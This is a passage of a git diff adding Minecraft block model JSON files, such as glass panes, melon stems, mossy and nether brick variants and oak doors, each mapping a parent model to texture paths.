--git a/src/assets/minecraft/models/block/magenta_stained_glass_pane_noside_alt.json b/src/assets/minecraft/models/block/magenta_stained_glass_pane_noside_alt.json new file mode 100644 index 00000000..7b2ba6d5 --- /dev/null +++ b/src/assets/minecraft/models/block/magenta_stained_glass_pane_noside_alt.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside_alt", + "textures": { + "pane": "minecraft:block/magenta_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/magenta_stained_glass_pane_post.json b/src/assets/minecraft/models/block/magenta_stained_glass_pane_post.json new file mode 100644 index 00000000..996f877c --- /dev/null +++ b/src/assets/minecraft/models/block/magenta_stained_glass_pane_post.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_post", + "textures": { + "pane": "minecraft:block/magenta_stained_glass", + "edge": "minecraft:block/magenta_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/magenta_stained_glass_pane_side.json b/src/assets/minecraft/models/block/magenta_stained_glass_pane_side.json new file mode 100644 index 00000000..83d65bfc --- /dev/null +++ b/src/assets/minecraft/models/block/magenta_stained_glass_pane_side.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side", + "textures": { + "pane": "minecraft:block/magenta_stained_glass", + "edge": "minecraft:block/magenta_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/magenta_stained_glass_pane_side_alt.json b/src/assets/minecraft/models/block/magenta_stained_glass_pane_side_alt.json new file mode 100644 index 00000000..6443572a --- /dev/null +++ b/src/assets/minecraft/models/block/magenta_stained_glass_pane_side_alt.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side_alt", + "textures": { + "pane": "minecraft:block/magenta_stained_glass", + "edge": "minecraft:block/magenta_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/magenta_terracotta.json b/src/assets/minecraft/models/block/magenta_terracotta.json new file mode 100644 index 00000000..bd2bcfa0 --- /dev/null +++ b/src/assets/minecraft/models/block/magenta_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/magenta_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/magenta_wool.json b/src/assets/minecraft/models/block/magenta_wool.json new file mode 100644 index 00000000..9111ee09 --- /dev/null +++ b/src/assets/minecraft/models/block/magenta_wool.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/magenta_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/magma_block.json b/src/assets/minecraft/models/block/magma_block.json new file mode 100644 index 00000000..b9678ef1 --- /dev/null +++ b/src/assets/minecraft/models/block/magma_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/magma" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/melon.json b/src/assets/minecraft/models/block/melon.json new file mode 100644 index 00000000..ef3816b9 --- /dev/null +++ b/src/assets/minecraft/models/block/melon.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/melon_top", + "side": "minecraft:block/melon_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/melon_stem_stage0.json b/src/assets/minecraft/models/block/melon_stem_stage0.json new file mode 100644 index 00000000..7f8918c5 --- /dev/null +++ b/src/assets/minecraft/models/block/melon_stem_stage0.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/stem_growth0", + "textures": { + "stem": "minecraft:block/melon_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/melon_stem_stage1.json b/src/assets/minecraft/models/block/melon_stem_stage1.json new file mode 100644 index 00000000..0d573b71 --- /dev/null +++ b/src/assets/minecraft/models/block/melon_stem_stage1.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/stem_growth1", + "textures": { + "stem": "minecraft:block/melon_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/melon_stem_stage2.json b/src/assets/minecraft/models/block/melon_stem_stage2.json new file mode 100644 index 00000000..c1934202 --- /dev/null +++ b/src/assets/minecraft/models/block/melon_stem_stage2.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/stem_growth2", + "textures": { + "stem": "minecraft:block/melon_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/melon_stem_stage3.json b/src/assets/minecraft/models/block/melon_stem_stage3.json new file mode 100644 index 00000000..8b4ef33f --- /dev/null +++ b/src/assets/minecraft/models/block/melon_stem_stage3.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/stem_growth3", + "textures": { + "stem": "minecraft:block/melon_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/melon_stem_stage4.json b/src/assets/minecraft/models/block/melon_stem_stage4.json new file mode 100644 index 00000000..cba7914b --- /dev/null +++ b/src/assets/minecraft/models/block/melon_stem_stage4.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/stem_growth4", + "textures": { + "stem": "minecraft:block/melon_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/melon_stem_stage5.json b/src/assets/minecraft/models/block/melon_stem_stage5.json new file mode 100644 index 00000000..bd48d3f1 --- /dev/null +++ b/src/assets/minecraft/models/block/melon_stem_stage5.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/stem_growth5", + "textures": { + "stem": "minecraft:block/melon_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/melon_stem_stage6.json b/src/assets/minecraft/models/block/melon_stem_stage6.json new file mode 100644 index 00000000..c8f07f26 --- /dev/null +++ b/src/assets/minecraft/models/block/melon_stem_stage6.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/stem_growth6", + "textures": { + "stem": "minecraft:block/melon_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/melon_stem_stage7.json b/src/assets/minecraft/models/block/melon_stem_stage7.json new file mode 100644 index 00000000..2b479f70 --- /dev/null +++ b/src/assets/minecraft/models/block/melon_stem_stage7.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/stem_growth7", + "textures": { + "stem": "minecraft:block/melon_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/mossy_cobblestone.json b/src/assets/minecraft/models/block/mossy_cobblestone.json new file mode 100644 index 00000000..8767f35c --- /dev/null +++ b/src/assets/minecraft/models/block/mossy_cobblestone.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/mossy_cobblestone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/mossy_cobblestone_slab.json b/src/assets/minecraft/models/block/mossy_cobblestone_slab.json new file mode 100644 index 00000000..544d1e8b --- /dev/null +++ b/src/assets/minecraft/models/block/mossy_cobblestone_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/mossy_cobblestone", + "top": "minecraft:block/mossy_cobblestone", + "side": "minecraft:block/mossy_cobblestone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/mossy_cobblestone_slab_top.json b/src/assets/minecraft/models/block/mossy_cobblestone_slab_top.json new file mode 100644 index 00000000..1ecd89c9 --- /dev/null +++ b/src/assets/minecraft/models/block/mossy_cobblestone_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/mossy_cobblestone", + "top": "minecraft:block/mossy_cobblestone", + "side": "minecraft:block/mossy_cobblestone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/mossy_cobblestone_stairs.json b/src/assets/minecraft/models/block/mossy_cobblestone_stairs.json new file mode 100644 index 00000000..a436ea92 --- /dev/null +++ b/src/assets/minecraft/models/block/mossy_cobblestone_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/mossy_cobblestone", + "top": "minecraft:block/mossy_cobblestone", + "side": "minecraft:block/mossy_cobblestone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/mossy_cobblestone_stairs_inner.json b/src/assets/minecraft/models/block/mossy_cobblestone_stairs_inner.json new file mode 100644 index 00000000..f1946ea3 --- /dev/null +++ b/src/assets/minecraft/models/block/mossy_cobblestone_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/mossy_cobblestone", + "top": "minecraft:block/mossy_cobblestone", + "side": "minecraft:block/mossy_cobblestone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/mossy_cobblestone_stairs_outer.json b/src/assets/minecraft/models/block/mossy_cobblestone_stairs_outer.json new file mode 100644 index 00000000..20697c3d --- /dev/null +++ b/src/assets/minecraft/models/block/mossy_cobblestone_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/mossy_cobblestone", + "top": "minecraft:block/mossy_cobblestone", + "side": "minecraft:block/mossy_cobblestone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/mossy_cobblestone_wall_inventory.json b/src/assets/minecraft/models/block/mossy_cobblestone_wall_inventory.json new file mode 100644 index 00000000..ea176a42 --- /dev/null +++ b/src/assets/minecraft/models/block/mossy_cobblestone_wall_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/wall_inventory", + "textures": { + "wall": "minecraft:block/mossy_cobblestone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/mossy_cobblestone_wall_post.json b/src/assets/minecraft/models/block/mossy_cobblestone_wall_post.json new file mode 100644 index 00000000..b6be998c --- /dev/null +++ b/src/assets/minecraft/models/block/mossy_cobblestone_wall_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_post", + "textures": { + "wall": "minecraft:block/mossy_cobblestone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/mossy_cobblestone_wall_side.json b/src/assets/minecraft/models/block/mossy_cobblestone_wall_side.json new file mode 100644 index 00000000..43c6c706 --- /dev/null +++ b/src/assets/minecraft/models/block/mossy_cobblestone_wall_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side", + "textures": { + "wall": "minecraft:block/mossy_cobblestone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/mossy_cobblestone_wall_side_tall.json b/src/assets/minecraft/models/block/mossy_cobblestone_wall_side_tall.json new file mode 100644 index 00000000..96935989 --- /dev/null +++ b/src/assets/minecraft/models/block/mossy_cobblestone_wall_side_tall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side_tall", + "textures": { + "wall": "minecraft:block/mossy_cobblestone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/mossy_stone_brick_slab.json b/src/assets/minecraft/models/block/mossy_stone_brick_slab.json new file mode 100644 index 00000000..b36ebd95 --- /dev/null +++ b/src/assets/minecraft/models/block/mossy_stone_brick_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/mossy_stone_bricks", + "top": "minecraft:block/mossy_stone_bricks", + "side": "minecraft:block/mossy_stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/mossy_stone_brick_slab_top.json b/src/assets/minecraft/models/block/mossy_stone_brick_slab_top.json new file mode 100644 index 00000000..697657a9 --- /dev/null +++ b/src/assets/minecraft/models/block/mossy_stone_brick_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/mossy_stone_bricks", + "top": "minecraft:block/mossy_stone_bricks", + "side": "minecraft:block/mossy_stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/mossy_stone_brick_stairs.json b/src/assets/minecraft/models/block/mossy_stone_brick_stairs.json new file mode 100644 index 00000000..8f4b9929 --- /dev/null +++ b/src/assets/minecraft/models/block/mossy_stone_brick_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/mossy_stone_bricks", + "top": "minecraft:block/mossy_stone_bricks", + "side": "minecraft:block/mossy_stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/mossy_stone_brick_stairs_inner.json b/src/assets/minecraft/models/block/mossy_stone_brick_stairs_inner.json new file mode 100644 index 00000000..04ae24a6 --- /dev/null +++ b/src/assets/minecraft/models/block/mossy_stone_brick_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/mossy_stone_bricks", + "top": "minecraft:block/mossy_stone_bricks", + "side": "minecraft:block/mossy_stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/mossy_stone_brick_stairs_outer.json b/src/assets/minecraft/models/block/mossy_stone_brick_stairs_outer.json new file mode 100644 index 00000000..e2e9dac2 --- /dev/null +++ b/src/assets/minecraft/models/block/mossy_stone_brick_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/mossy_stone_bricks", + "top": "minecraft:block/mossy_stone_bricks", + "side": "minecraft:block/mossy_stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/mossy_stone_brick_wall_inventory.json b/src/assets/minecraft/models/block/mossy_stone_brick_wall_inventory.json new file mode 100644 index 00000000..e6822fea --- /dev/null +++ b/src/assets/minecraft/models/block/mossy_stone_brick_wall_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/wall_inventory", + "textures": { + "wall": "minecraft:block/mossy_stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/mossy_stone_brick_wall_post.json b/src/assets/minecraft/models/block/mossy_stone_brick_wall_post.json new file mode 100644 index 00000000..56942804 --- /dev/null +++ b/src/assets/minecraft/models/block/mossy_stone_brick_wall_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_post", + "textures": { + "wall": "minecraft:block/mossy_stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/mossy_stone_brick_wall_side.json b/src/assets/minecraft/models/block/mossy_stone_brick_wall_side.json new file mode 100644 index 00000000..13fdfa2e --- /dev/null +++ b/src/assets/minecraft/models/block/mossy_stone_brick_wall_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side", + "textures": { + "wall": "minecraft:block/mossy_stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/mossy_stone_brick_wall_side_tall.json b/src/assets/minecraft/models/block/mossy_stone_brick_wall_side_tall.json new file mode 100644 index 00000000..265f6c3f --- /dev/null +++ b/src/assets/minecraft/models/block/mossy_stone_brick_wall_side_tall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side_tall", + "textures": { + "wall": "minecraft:block/mossy_stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/mossy_stone_bricks.json b/src/assets/minecraft/models/block/mossy_stone_bricks.json new file mode 100644 index 00000000..4a4fa5ae --- /dev/null +++ b/src/assets/minecraft/models/block/mossy_stone_bricks.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/mossy_stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/moving_piston.json b/src/assets/minecraft/models/block/moving_piston.json new file mode 100644 index 00000000..021eedbe --- /dev/null +++ b/src/assets/minecraft/models/block/moving_piston.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/piston_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/mushroom_block_inside.json b/src/assets/minecraft/models/block/mushroom_block_inside.json new file mode 100644 index 00000000..6a6cab24 --- /dev/null +++ b/src/assets/minecraft/models/block/mushroom_block_inside.json @@ -0,0 +1,7 @@ +{ + "parent": "block/template_single_face", + "ambientocclusion": false, + "textures": { + "texture": "block/mushroom_block_inside" + } +} diff --git a/src/assets/minecraft/models/block/mushroom_stem.json b/src/assets/minecraft/models/block/mushroom_stem.json new file mode 100644 index 00000000..76f8cdbc --- /dev/null +++ b/src/assets/minecraft/models/block/mushroom_stem.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_single_face", + "textures": { + "texture": "minecraft:block/mushroom_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/mushroom_stem_inventory.json b/src/assets/minecraft/models/block/mushroom_stem_inventory.json new file mode 100644 index 00000000..ed373272 --- /dev/null +++ b/src/assets/minecraft/models/block/mushroom_stem_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/mushroom_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/mycelium.json b/src/assets/minecraft/models/block/mycelium.json new file mode 100644 index 00000000..6ced7c81 --- /dev/null +++ b/src/assets/minecraft/models/block/mycelium.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/cube_bottom_top", + "textures": { + "top": "minecraft:block/mycelium_top", + "bottom": "minecraft:block/dirt", + "side": "minecraft:block/mycelium_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/nether_brick_fence_inventory.json b/src/assets/minecraft/models/block/nether_brick_fence_inventory.json new file mode 100644 index 00000000..c66b932e --- /dev/null +++ b/src/assets/minecraft/models/block/nether_brick_fence_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_inventory", + "textures": { + "texture": "minecraft:block/nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/nether_brick_fence_post.json b/src/assets/minecraft/models/block/nether_brick_fence_post.json new file mode 100644 index 00000000..22f5ac94 --- /dev/null +++ b/src/assets/minecraft/models/block/nether_brick_fence_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_post", + "textures": { + "texture": "minecraft:block/nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/nether_brick_fence_side.json b/src/assets/minecraft/models/block/nether_brick_fence_side.json new file mode 100644 index 00000000..1daddd0a --- /dev/null +++ b/src/assets/minecraft/models/block/nether_brick_fence_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_side", + "textures": { + "texture": "minecraft:block/nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/nether_brick_slab.json b/src/assets/minecraft/models/block/nether_brick_slab.json new file mode 100644 index 00000000..d9418608 --- /dev/null +++ b/src/assets/minecraft/models/block/nether_brick_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/nether_bricks", + "top": "minecraft:block/nether_bricks", + "side": "minecraft:block/nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/nether_brick_slab_top.json b/src/assets/minecraft/models/block/nether_brick_slab_top.json new file mode 100644 index 00000000..bc0a7924 --- /dev/null +++ b/src/assets/minecraft/models/block/nether_brick_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/nether_bricks", + "top": "minecraft:block/nether_bricks", + "side": "minecraft:block/nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/nether_brick_stairs.json b/src/assets/minecraft/models/block/nether_brick_stairs.json new file mode 100644 index 00000000..04a4c500 --- /dev/null +++ b/src/assets/minecraft/models/block/nether_brick_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/nether_bricks", + "top": "minecraft:block/nether_bricks", + "side": "minecraft:block/nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/nether_brick_stairs_inner.json b/src/assets/minecraft/models/block/nether_brick_stairs_inner.json new file mode 100644 index 00000000..4d567702 --- /dev/null +++ b/src/assets/minecraft/models/block/nether_brick_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/nether_bricks", + "top": "minecraft:block/nether_bricks", + "side": "minecraft:block/nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/nether_brick_stairs_outer.json b/src/assets/minecraft/models/block/nether_brick_stairs_outer.json new file mode 100644 index 00000000..cd971579 --- /dev/null +++ b/src/assets/minecraft/models/block/nether_brick_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/nether_bricks", + "top": "minecraft:block/nether_bricks", + "side": "minecraft:block/nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/nether_brick_wall_inventory.json b/src/assets/minecraft/models/block/nether_brick_wall_inventory.json new file mode 100644 index 00000000..ef71ac4e --- /dev/null +++ b/src/assets/minecraft/models/block/nether_brick_wall_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/wall_inventory", + "textures": { + "wall": "minecraft:block/nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/nether_brick_wall_post.json b/src/assets/minecraft/models/block/nether_brick_wall_post.json new file mode 100644 index 00000000..5d539376 --- /dev/null +++ b/src/assets/minecraft/models/block/nether_brick_wall_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_post", + "textures": { + "wall": "minecraft:block/nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/nether_brick_wall_side.json b/src/assets/minecraft/models/block/nether_brick_wall_side.json new file mode 100644 index 00000000..19b01afd --- /dev/null +++ b/src/assets/minecraft/models/block/nether_brick_wall_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side", + "textures": { + "wall": "minecraft:block/nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/nether_brick_wall_side_tall.json b/src/assets/minecraft/models/block/nether_brick_wall_side_tall.json new file mode 100644 index 00000000..e368b691 --- /dev/null +++ b/src/assets/minecraft/models/block/nether_brick_wall_side_tall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side_tall", + "textures": { + "wall": "minecraft:block/nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/nether_bricks.json b/src/assets/minecraft/models/block/nether_bricks.json new file mode 100644 index 00000000..19ca75ce --- /dev/null +++ b/src/assets/minecraft/models/block/nether_bricks.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/nether_gold_ore.json b/src/assets/minecraft/models/block/nether_gold_ore.json new file mode 100644 index 00000000..a7a48a50 --- /dev/null +++ b/src/assets/minecraft/models/block/nether_gold_ore.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/nether_gold_ore" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/nether_portal_ew.json b/src/assets/minecraft/models/block/nether_portal_ew.json new file mode 100644 index 00000000..5b7869ab --- /dev/null +++ b/src/assets/minecraft/models/block/nether_portal_ew.json @@ -0,0 +1,15 @@ +{ + "textures": { + "particle": "block/nether_portal", + "portal": "block/nether_portal" + }, + "elements": [ + { "from": [ 6, 0, 0 ], + "to": [ 10, 16, 16 ], + "faces": { + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#portal" }, + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#portal" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/nether_portal_ns.json b/src/assets/minecraft/models/block/nether_portal_ns.json new file mode 100644 index 00000000..937ca3b9 --- /dev/null +++ b/src/assets/minecraft/models/block/nether_portal_ns.json @@ -0,0 +1,15 @@ +{ + "textures": { + "particle": "block/nether_portal", + "portal": "block/nether_portal" + }, + "elements": [ + { "from": [ 0, 0, 6 ], + "to": [ 16, 16, 10 ], + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#portal" }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#portal" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/nether_quartz_ore.json b/src/assets/minecraft/models/block/nether_quartz_ore.json new file mode 100644 index 00000000..831c93fa --- /dev/null +++ b/src/assets/minecraft/models/block/nether_quartz_ore.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/nether_quartz_ore" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/nether_sprouts.json b/src/assets/minecraft/models/block/nether_sprouts.json new file mode 100644 index 00000000..a1348576 --- /dev/null +++ b/src/assets/minecraft/models/block/nether_sprouts.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/nether_sprouts" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/nether_wart_block.json b/src/assets/minecraft/models/block/nether_wart_block.json new file mode 100644 index 00000000..e1643535 --- /dev/null +++ b/src/assets/minecraft/models/block/nether_wart_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/nether_wart_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/nether_wart_stage0.json b/src/assets/minecraft/models/block/nether_wart_stage0.json new file mode 100644 index 00000000..795414f2 --- /dev/null +++ b/src/assets/minecraft/models/block/nether_wart_stage0.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/crop", + "textures": { + "crop": "minecraft:block/nether_wart_stage0" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/nether_wart_stage1.json b/src/assets/minecraft/models/block/nether_wart_stage1.json new file mode 100644 index 00000000..55ac3277 --- /dev/null +++ b/src/assets/minecraft/models/block/nether_wart_stage1.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/crop", + "textures": { + "crop": "minecraft:block/nether_wart_stage1" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/nether_wart_stage2.json b/src/assets/minecraft/models/block/nether_wart_stage2.json new file mode 100644 index 00000000..42d5a2ea --- /dev/null +++ b/src/assets/minecraft/models/block/nether_wart_stage2.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/crop", + "textures": { + "crop": "minecraft:block/nether_wart_stage2" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/netherite_block.json b/src/assets/minecraft/models/block/netherite_block.json new file mode 100644 index 00000000..72fa8d9b --- /dev/null +++ b/src/assets/minecraft/models/block/netherite_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/netherite_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/netherrack.json b/src/assets/minecraft/models/block/netherrack.json new file mode 100644 index 00000000..11cebf7a --- /dev/null +++ b/src/assets/minecraft/models/block/netherrack.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/netherrack" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/note_block.json b/src/assets/minecraft/models/block/note_block.json new file mode 100644 index 00000000..5d7671bd --- /dev/null +++ b/src/assets/minecraft/models/block/note_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/note_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_button.json b/src/assets/minecraft/models/block/oak_button.json new file mode 100644 index 00000000..67b1c0f3 --- /dev/null +++ b/src/assets/minecraft/models/block/oak_button.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button", + "textures": { + "texture": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_button_inventory.json b/src/assets/minecraft/models/block/oak_button_inventory.json new file mode 100644 index 00000000..f58d4869 --- /dev/null +++ b/src/assets/minecraft/models/block/oak_button_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button_inventory", + "textures": { + "texture": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_button_pressed.json b/src/assets/minecraft/models/block/oak_button_pressed.json new file mode 100644 index 00000000..218d5cf4 --- /dev/null +++ b/src/assets/minecraft/models/block/oak_button_pressed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button_pressed", + "textures": { + "texture": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_door_bottom.json b/src/assets/minecraft/models/block/oak_door_bottom.json new file mode 100644 index 00000000..13f1db80 --- /dev/null +++ b/src/assets/minecraft/models/block/oak_door_bottom.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_bottom", + "textures": { + "top": "minecraft:block/oak_door_top", + "bottom": "minecraft:block/oak_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_door_bottom_hinge.json b/src/assets/minecraft/models/block/oak_door_bottom_hinge.json new file mode 100644 index 00000000..c49cea2c --- /dev/null +++ b/src/assets/minecraft/models/block/oak_door_bottom_hinge.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_bottom_rh", + "textures": { + "top": "minecraft:block/oak_door_top", + "bottom": 